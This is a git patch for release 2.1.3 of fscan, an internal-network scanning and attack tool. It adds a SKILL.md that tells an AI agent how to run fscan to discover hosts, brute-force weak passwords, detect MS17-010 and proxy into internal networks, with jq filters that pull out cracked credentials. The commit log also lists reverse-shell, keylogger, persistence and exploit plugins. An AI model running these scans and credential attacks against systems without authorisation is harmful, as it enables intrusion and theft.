From 2c2ca6ace38235a1b97ad20325fc0ffce8bffdba Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Wed, 13 May 2026 14:41:23 +0800 Subject: [PATCH] v2.1.3 Release (#572) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * add CVE-2026-24061 detect logic (#562) * add CVE-2026-24061 detect logic * fix(telnet): 修复 errcheck 警告,统一错误处理风格 --------- Co-authored-by: ZacharyZcR * fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码 - hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争 - port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁 - web_scanner.go: 删除只写不读的 fingerprintCache - webtitle.go: 移除对已删除 SetFingerprints 的调用 - keylogger.go: 删除未使用的 stopChan 和 isRunning 字段 * refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效 - RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件 - 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup, 通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁 - Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路 - ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务 - CLI 模式传 context.Background(),行为完全不变 * fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic - scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回 - smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验 * fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race - webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background(); sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争 - webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan - webpoc.go: 传递 ctx 到 WebScan - proxy/types.go: ProxyStats 增加 sync.Mutex - proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁 * fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警 Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex * fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑 - httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex - findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic - ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验 - web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试 - Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置 * fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消 - scan.go: Web API 构建 config/state 后同步到全局实例 - config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志 - reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消 - forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞 - socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞 * refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3) - 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer - RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session - Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session) - 48 个插件实现统一更新签名 - Web API 构建 ScanSession 传给 RunScan - CLI 模式通过 Initialize() 创建 session * refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4) - core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session - core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP - core/icmp.go: CheckLive/tcpProbeAlive 接入 session - 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session - 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理) - plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留 * refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5) - core/alive_scanner.go: GetFlagVars() → session.Params - core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports - common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局 - common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave - common/network.go: WrapperTcpWithTimeout 标记 Deprecated - core/ 和 plugins/ 下已无全局状态调用残留 * fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题 * fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过 * perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代 * feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报 * perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半 * fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏 * fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复 * perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min * fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报 * perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底 * fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数 * feat: Release 增加 armv5 架构支持 * chore: bump version to 2.1.3 * fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败 * fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题 * feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费 - 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON - LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题 - 支持 fscan -h xxx -silent | jq 管道用法 * fix rdp invalid random panic (#573) * restore ms17010 legacy detection and exploit (#574) * fix ms17010 legacy packet decoding (#574) * fix csv web title output (#575) * fix web result protocol output (#577) * feat: add -ntp flag to disable TCP supplementary probe * fix: skip TCP supplementary probe in icmp mode * feat: add -debug flag with file logging to fscan_debug.log * fix: resolve golangci-lint errcheck and staticcheck warnings * fix: skip proxy deep verification for SOCKS5 connections (#579) SOCKS5 protocol validates connection reachability at protocol level, deep verification was incorrectly rejecting non-banner services like SMB(445), RPC(139) and Kerberos(88). * fix: exclude timeout from scan failure rate calculation (#578) Timeout is a normal scan result when firewalls drop packets, not a scan failure. Only resource exhaustion errors count toward failure rate. * feat: flatten NDJSON output for AI agent consumption and add SKILL.md * perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时 * perf: 四项扫描性能优化 - SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积 - 服务探测超时自适应,RTT 采样约束读超时上限 - 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行 - ICMP 批量预构建包和地址,减少发送循环开销 * perf: 六项性能优化 - DNS 解析缓存:sync.Map 缓存避免重复系统调用 - 凭据测试 TCP 预检:不可达目标直接跳过全部凭据 - Web 探测 HTTP Client 复用:全局共享连接池 - 端口扫描 Bloom Filter 去重:替代 map 降低内存 - 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争 - 服务探针预解码:Init 时预编译,运行时零解码开销 * refactor: replace bloom filter with map for deduplication Bloom filter has false positive risk which can silently drop valid scan results. Map provides exact deduplication with negligible memory overhead at the scale of open ports (typically thousands, not millions). * fix: credential TCP precheck bypass proxy and pipeline goroutine leak - Skip TCP precheck when proxy is enabled, net.DialTimeout cannot reach targets behind SOCKS5/HTTP proxy - Drain stream channel on ctx cancellation to prevent EnhancedPortScan goroutine from blocking on a full channel * fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms * fix: resolve golangci-lint errcheck and staticcheck warnings --------- Co-authored-by: r00t <24542600+adeljck@users.noreply.github.com> --- .github/conf/.goreleaser.yml | 8 +- .github/workflows/test-build.yml | 4 +- SKILL.md | 304 +++++++ common/config_builder.go | 6 + common/config_struct.go | 2 + common/dns_cache.go | 28 + common/flag.go | 7 + common/flag_config.go | 3 + common/globals.go | 2 +- common/i18n/locales/en.yaml | 8 + common/i18n/locales/zh.yaml | 8 + common/initialize.go | 16 +- common/logger.go | 11 + common/logging/logger.go | 44 +- common/network.go | 11 +- common/output/buffer.go | 25 +- common/output/buffer_test.go | 34 + common/output/stdout_writer.go | 145 ++++ common/output/writers.go | 92 ++- common/output/writers_test.go | 82 +- common/output_api.go | 18 +- common/progress_manager.go | 70 +- common/proxy/detector.go | 9 + common/proxy/httpdialer.go | 9 +- common/proxy/manager.go | 34 +- common/proxy/tlsdialer.go | 5 +- common/proxy/types.go | 8 +- common/session.go | 106 +++ core/adaptive_timeout.go | 92 +++ core/alive_scanner.go | 16 +- core/bloom_filter.go | 66 -- core/bloom_filter_test.go | 168 ---- core/icmp.go | 96 ++- core/local_scanner.go | 7 +- core/port_scan.go | 251 +++++- core/portfinger/scanner_core.go | 17 + core/portfinger/types.go | 1 + core/scanner.go | 86 +- core/scanner_test.go | 24 +- core/service_probe.go | 73 +- core/service_probe_strategy_test.go | 7 +- core/service_scanner.go | 143 +++- core/web_scanner.go | 76 +- core/web_scanner_test.go | 12 +- main.go | 4 +- mylib/grdp/login/screen.go | 8 +- mylib/grdp/protocol/sec/sec.go | 32 +- mylib/grdp/protocol/sec/sec_test.go | 38 + plugins/init.go | 4 +- plugins/local/avdetect.go | 10 +- plugins/local/cleaner.go | 6 +- plugins/local/crontask.go | 3 +- plugins/local/dcinfo.go | 4 +- plugins/local/downloader.go | 3 +- plugins/local/envinfo.go | 2 +- plugins/local/fileinfo.go | 2 +- plugins/local/forwardshell.go | 16 +- plugins/local/keylogger.go | 10 +- plugins/local/ldpreload.go | 3 +- plugins/local/minidump.go | 4 +- plugins/local/reverseshell.go | 14 +- plugins/local/shellenv.go | 3 +- plugins/local/socks5proxy.go | 22 +- plugins/local/systemdservice.go | 3 +- plugins/local/systeminfo.go | 2 +- plugins/local/types.go | 2 +- plugins/local/winregistry.go | 4 +- plugins/local/winschtask.go | 4 +- plugins/local/winservice.go | 4 +- plugins/local/winstartup.go | 4 +- plugins/local/winwmi.go | 4 +- plugins/services/activemq.go | 32 +- plugins/services/cassandra.go | 6 +- plugins/services/credential_tester.go | 73 +- plugins/services/elasticsearch.go | 4 +- plugins/services/findnet.go | 14 +- plugins/services/ftp.go | 6 +- plugins/services/kafka.go | 6 +- plugins/services/ldap.go | 43 +- plugins/services/memcached.go | 29 +- plugins/services/mongodb.go | 26 +- plugins/services/ms17010.go | 185 +++-- plugins/services/ms17010_exp.go | 1054 +++++++++++++++++++++++++ plugins/services/ms17010_test.go | 195 +++++ plugins/services/mssql.go | 10 +- plugins/services/mysql.go | 14 +- plugins/services/neo4j.go | 6 +- plugins/services/netbios.go | 12 +- plugins/services/oracle.go | 12 +- plugins/services/postgresql.go | 6 +- plugins/services/rabbitmq.go | 24 +- plugins/services/rdp.go | 4 +- plugins/services/redis.go | 50 +- plugins/services/rsync.go | 46 +- plugins/services/smb.go | 30 +- plugins/services/smb_protocol.go | 57 +- plugins/services/smtp.go | 80 +- plugins/services/ssh.go | 37 +- plugins/services/telnet.go | 345 +++++++- plugins/services/types.go | 2 +- plugins/services/vnc.go | 27 +- plugins/web/types.go | 2 +- plugins/web/webpoc.go | 5 +- plugins/web/webtitle.go | 29 +- web/api/project.go | 293 +++++++ web/api/router.go | 8 + web/api/scan.go | 51 +- web/ws/hub.go | 4 +- webscan/lib/Eval.go | 16 +- webscan/web_scan.go | 33 +- 110 files changed, 4268 insertions(+), 1057 deletions(-) create mode 100644 SKILL.md create mode 100644 common/dns_cache.go create mode 100644 common/output/stdout_writer.go create mode 100644 common/session.go create mode 100644 core/adaptive_timeout.go delete mode 100644 core/bloom_filter.go delete mode 100644 core/bloom_filter_test.go create mode 100644 mylib/grdp/protocol/sec/sec_test.go create mode 100644 plugins/services/ms17010_exp.go create mode 100644 plugins/services/ms17010_test.go create mode 100644 web/api/project.go diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml index 37e2173..9187500 100644 --- a/.github/conf/.goreleaser.yml +++ b/.github/conf/.goreleaser.yml @@ -16,7 +16,7 @@ builds: - CGO_ENABLED=0 goos: [windows, linux, darwin, freebsd, solaris] goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle] - goarm: ["6", "7"] + goarm: ["5", "6", "7"] gomips: [softfloat] ignore: - goos: darwin @@ -69,7 +69,7 @@ builds: - CGO_ENABLED=0 goos: [windows, linux, darwin, freebsd, solaris] goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle] - goarm: ["6", "7"] + goarm: ["5", "6", "7"] gomips: [softfloat] ignore: - goos: darwin @@ -231,10 +231,10 @@ release: | 平台 | 架构 | |------|------| - | Linux | x64, x32, arm64, armv6, armv7, mips, mips64, mipsle | + | Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle | | Windows | x64, x32 | | macOS | x64, arm64 | - | FreeBSD | x64, x32, arm64, armv6, armv7 | + | FreeBSD | x64, x32, arm64, armv5, armv6, armv7 | | Solaris | x64 | footer: | **完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }} diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index 73ad33d..f78b56c 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -55,8 +55,8 @@ jobs: - name: 运行 golangci-lint run: | - # 下载 golangci-lint v2 - curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin latest + # 安装 golangci-lint v2 + go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.12.1 # 运行检查并灵活处理结果 set +e diff --git a/SKILL.md b/SKILL.md new file mode 100644 index 0000000..b0b51d2 --- /dev/null +++ b/SKILL.md @@ -0,0 +1,304 @@ +--- +name: fscan-agent +description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。 +argument-hint: <目标IP/网段> [附加参数] +allowed-tools: Bash, Read, Agent +--- + +# Fscan AI Agent Skill + +## 工具概述 + +Fscan 是一款内网综合扫描工具,功能包括: +- 主机存活探测(ICMP / TCP) +- 端口扫描与服务识别 +- 漏洞检测(MS17-010、Redis 未授权等) +- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等) +- Web 指纹识别与 POC 扫描 +- NetBIOS / SMB 信息收集 +- 本地信息收集(杀软检测、系统信息等) + +二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。 + +## 调用格式 + +```bash +# AI agent 标准用法:NDJSON 输出,无人类日志干扰 +fscan -h <目标> -silent [其他参数] + +# 解析输出 +fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")' +``` + +## 核心参数 + +### 目标指定 + +| 参数 | 说明 | 示例 | +|------|------|------| +| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` | +| `-hf` | 从文件读取目标 | `-hf targets.txt` | +| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` | +| `-ep` | 排除端口 | `-ep 25,110` | +| `-eh` | 排除主机 | `-eh 192.168.1.1` | +| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` | +| `-uf` | URL 文件 | `-uf urls.txt` | + +### 扫描控制 + +| 参数 | 说明 | 默认值 | +|------|------|--------| +| `-m` | 扫描模式 | `all` | +| `-t` | 端口扫描线程数 | `600` | +| `-mt` | 模块线程数 | `20` | +| `-time` | 连接超时(秒) | `3` | +| `-gt` | 全局超时(秒) | `180` | +| `-np` | 跳过存活检测 | `false` | +| `-ntp` | 禁用 TCP 补充探测 | `false` | +| `-ao` | 仅存活检测 | `false` | +| `-nobr` | 禁用暴力破解 | `false` | +| `-full` | 全量 POC 扫描 | `false` | +| `-max-retries` | 最大重试次数 | `1` | + +### 认证 + +| 参数 | 说明 | +|------|------| +| `-user` | 用户名 | +| `-pwd` | 密码 | +| `-usera` | 追加用户名 | +| `-pwda` | 追加密码 | +| `-userf` | 用户名字典文件 | +| `-pwdf` | 密码字典文件 | +| `-domain` | 域名(SMB/WMI) | +| `-sshkey` | SSH 私钥文件 | +| `-hash` / `-hashf` | NTLM Hash / Hash 文件 | + +### 代理 + +| 参数 | 说明 | +|------|------| +| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) | +| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) | +| `-iface` | 指定本地网卡 IP(VPN 场景) | + +### 输出 + +| 参数 | 说明 | +|------|------| +| `-silent` | 静默模式:stdout 仅输出 NDJSON | +| `-o` | 输出文件路径(默认 `result.txt`) | +| `-f` | 输出格式:`txt` / `json` / `csv` | +| `-no` | 禁用文件保存 | +| `-debug` | 调试模式:日志写入 `fscan_debug.log` | +| `-log` | 日志级别(`debug` / `info` / `base` / `error`) | + +### 扫描模式 `-m` 的取值 + +| 值 | 说明 | +|------|------| +| `all` | 全部扫描(默认) | +| `icmp` | 仅 ICMP 存活检测 | +| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) | + +## 服务插件列表 + +| 插件 | 默认端口 | 功能 | +|------|----------|------| +| `ftp` | 21 | FTP 弱口令 | +| `ssh` | 22 | SSH 弱口令 | +| `telnet` | 23 | Telnet 弱口令 | +| `smtp` | 25 | SMTP 弱口令 | +| `findnet` | 135 | RPC 网络信息发现(NetInfo) | +| `netbios` | 139 | NetBIOS 信息收集 | +| `smb` | 445 | SMB 弱口令 | +| `ms17010` | 445 | MS17-010 永恒之蓝检测 | +| `ldap` | 389 | LDAP 弱口令 | +| `mssql` | 1433 | MSSQL 弱口令 | +| `oracle` | 1521 | Oracle 弱口令 | +| `mysql` | 3306 | MySQL 弱口令 | +| `rdp` | 3389 | RDP 弱口令 + 系统信息 | +| `postgresql` | 5432 | PostgreSQL 弱口令 | +| `vnc` | 5900 | VNC 弱口令 | +| `redis` | 6379 | Redis 未授权 + 弱口令 | +| `elasticsearch` | 9200 | ES 未授权 | +| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 | +| `memcached` | 11211 | Memcached 未授权 | +| `kafka` | 9092 | Kafka 未授权 | +| `activemq` | 61616 | ActiveMQ 弱口令 | +| `rabbitmq` | 5672 | RabbitMQ 弱口令 | +| `cassandra` | 9042 | Cassandra 弱口令 | +| `neo4j` | 7687 | Neo4j 弱口令 | +| `rsync` | 873 | Rsync 未授权 | +| `webtitle` | 80/443 | Web 标题 + 指纹识别 | +| `webpoc` | 80/443 | Web 漏洞 POC | + +## 本地插件(`-local`) + +```bash +fscan -local avdetect # 杀软检测 +fscan -local systeminfo # 系统信息收集 +fscan -local envinfo # 环境变量信息 +fscan -local dcinfo # 域控信息 +fscan -local fileinfo # 敏感文件搜索 +``` + +## NDJSON 输出 Schema(`-silent` 模式) + +每行一个 JSON 对象,所有字段定义: + +| 字段 | 类型 | 出现条件 | 说明 | +|------|------|----------|------| +| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` | +| `target` | string | 必有 | 原始目标 `host` 或 `host:port` | +| `status` | string | 必有 | 状态描述 | +| `host` | string | 必有 | IP 地址 | +| `port` | int | PORT/SERVICE/VULN | 端口号 | +| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) | +| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) | +| `banner` | string | SERVICE | 服务 Banner | +| `title` | string | SERVICE (web) | 网页标题 | +| `url` | string | SERVICE (web) | 完整 URL | +| `vulnerability` | string | VULN | 漏洞名称 | +| `username` | string | VULN (弱口令) | 用户名 | +| `password` | string | VULN (弱口令) | 密码 | +| `plugin` | string | SERVICE/VULN | 产生结果的插件名 | +| `version` | string | SERVICE | 服务版本号 | +| `os` | string | SERVICE | 操作系统信息 | + +### 输出示例 + +```jsonl +{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"} +{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22} +{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445} +{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"} +{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"} +{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"} +{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"} +{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"} +``` + +### 结果产出顺序 + +1. `HOST` — 存活探测阶段 +2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错) +3. `SERVICE` — 服务识别阶段 +4. `VULN` — 漏洞/弱口令检测阶段 + +同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。 + +## 常用场景参数组合 + +### 全网段快速扫描 + +```bash +fscan -h 192.168.1.0/24 -silent +``` + +### 跳过存活检测直接扫端口(目标明确时) + +```bash +fscan -h 192.168.1.0/24 -silent -np +``` + +### 指定端口精确扫描 + +```bash +fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379 +``` + +### 仅存活探测 + +```bash +fscan -h 172.16.0.0/16 -silent -m icmp +``` + +### 低速隐蔽扫描 + +```bash +fscan -h 192.168.1.0/24 -silent -t 30 -time 5 +``` + +### 通过 SOCKS5 代理扫描内网 + +```bash +fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080 +``` + +### 仅做弱口令检测 + +```bash +fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt +``` + +### Web 目标扫描 + +```bash +fscan -u https://target.com -silent -full +``` + +### 多目标文件批量扫描 + +```bash +fscan -hf targets.txt -silent -o results.json -f json +``` + +### 带调试日志的排障扫描 + +```bash +# NDJSON 到 stdout,debug 日志到文件,互不干扰 +fscan -h 192.168.1.0/24 -silent -debug +# 事后查看:cat fscan_debug.log +``` + +## AI Agent 结果处理 + +### Python 管道消费 + +```python +import json, subprocess + +proc = subprocess.Popen( + ["fscan", "-h", "192.168.1.0/24", "-silent"], + stdout=subprocess.PIPE, text=True +) + +hosts, services, vulns = [], [], [] +for line in proc.stdout: + r = json.loads(line) + if r["type"] == "HOST": + hosts.append(r["host"]) + elif r["type"] == "SERVICE": + services.append(r) + elif r["type"] == "VULN": + vulns.append(r) + +proc.wait() +``` + +### jq 过滤 + +```bash +# 提取所有弱口令 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"' + +# 提取所有漏洞 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"' + +# 提取 Web 服务 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"' + +# 统计开放端口 +fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn +``` + +## 注意事项 + +- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON +- 空字段不出现在 JSON 中(`omitempty`) +- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败 +- `-silent` 和 `-debug` 可同时使用,互不干扰 +- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证 +- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级 +- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率 diff --git a/common/config_builder.go b/common/config_builder.go index 331f8d7..0d7ff8b 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -100,6 +100,8 @@ func parseUsernames(fv *FlagVars) []string { if fv.UsersFile != "" { if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil { usernames = append(usernames, lines...) + } else { + LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err)) } } @@ -128,6 +130,8 @@ func parsePasswords(fv *FlagVars) []string { if fv.PasswordsFile != "" { if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil { passwords = append(passwords, lines...) + } else { + LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err)) } } @@ -246,6 +250,8 @@ func parseURLs(fv *FlagVars) []string { for _, line := range lines { urls = append(urls, normalizeURL(line)) } + } else { + LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err)) } } diff --git a/common/config_struct.go b/common/config_struct.go index 1e171e6..9be2534 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -27,6 +27,7 @@ type Config struct { ModuleThreadNum int // 模块线程数 DisableBrute bool // 禁用暴力破解 DisablePing bool // 禁用Ping检测 + DisableTcpProbe bool // 禁用TCP补充探测 // 扫描模式 Mode string // 扫描模式 @@ -147,6 +148,7 @@ func NewConfig() *Config { ModuleThreadNum: 10, DisableBrute: false, DisablePing: false, + DisableTcpProbe: false, // 扫描模式 Mode: DefaultScanMode, diff --git a/common/dns_cache.go b/common/dns_cache.go new file mode 100644 index 0000000..b12f514 --- /dev/null +++ b/common/dns_cache.go @@ -0,0 +1,28 @@ +package common + +import ( + "net" + "sync" +) + +// DNSCache 并发安全的 DNS 解析缓存 +// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用 +var DNSCache = &dnsCache{} + +type dnsCache struct { + m sync.Map // host -> *net.IPAddr +} + +// ResolveIP 解析 host 为 *net.IPAddr,结果缓存 +func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) { + if v, ok := c.m.Load(host); ok { + addr, _ := v.(*net.IPAddr) + return addr, nil + } + addr, err := net.ResolveIPAddr("ip", host) + if err != nil { + return nil, err + } + c.m.Store(host, addr) + return addr, nil +} diff --git a/common/flag.go b/common/flag.go index c5951a7..00ccabe 100644 --- a/common/flag.go +++ b/common/flag.go @@ -109,6 +109,7 @@ func Flag(Info *HostInfo) error { flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num")) flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping")) + flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe")) flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)") flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) @@ -181,6 +182,7 @@ func Flag(Info *HostInfo) error { flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode")) flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color")) flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level")) + flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug")) flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress")) flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON") @@ -284,6 +286,11 @@ func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool { func checkParameterConflicts() error { fv := flagVars + // -debug 等价于 -log debug + if fv.Debug { + fv.LogLevel = LogLevelDebug + } + // 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示) if fv.AliveOnly && fv.ScanMode == "icmp" { LogInfo(i18n.GetText("param_conflict_ao_icmp_both")) diff --git a/common/flag_config.go b/common/flag_config.go index 92273ed..cca579b 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -36,6 +36,7 @@ type FlagVars struct { TimeoutSec int64 // 秒,需转换为 time.Duration GlobalTimeout int64 DisablePing bool + DisableTcpProbe bool LocalPlugin string AliveOnly bool DisableBrute bool @@ -94,6 +95,7 @@ type FlagVars struct { Silent bool NoColor bool LogLevel string + Debug bool DisableProgress bool PerfStats bool Language string @@ -137,6 +139,7 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { ModuleThreadNum: fv.ModuleThreadNum, DisableBrute: fv.DisableBrute, DisablePing: fv.DisablePing, + DisableTcpProbe: fv.DisableTcpProbe, // 扫描模式 Mode: fv.ScanMode, diff --git a/common/globals.go b/common/globals.go index fd0ddc8..f749ad2 100644 --- a/common/globals.go +++ b/common/globals.go @@ -62,7 +62,7 @@ const ( // 版本信息,通过 ldflags 注入 var ( - version = "2.1.2" + version = "2.1.3" commit = "unknown" date = "unknown" ) diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index f67c90a..9d7c58c 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -28,6 +28,10 @@ flag_global_timeout: other: "Global timeout" flag_disable_ping: other: "Disable ping detection" +flag_disable_tcp_probe: + other: "Disable TCP supplementary probe" +flag_debug: + other: "Enable debug mode, write logs to 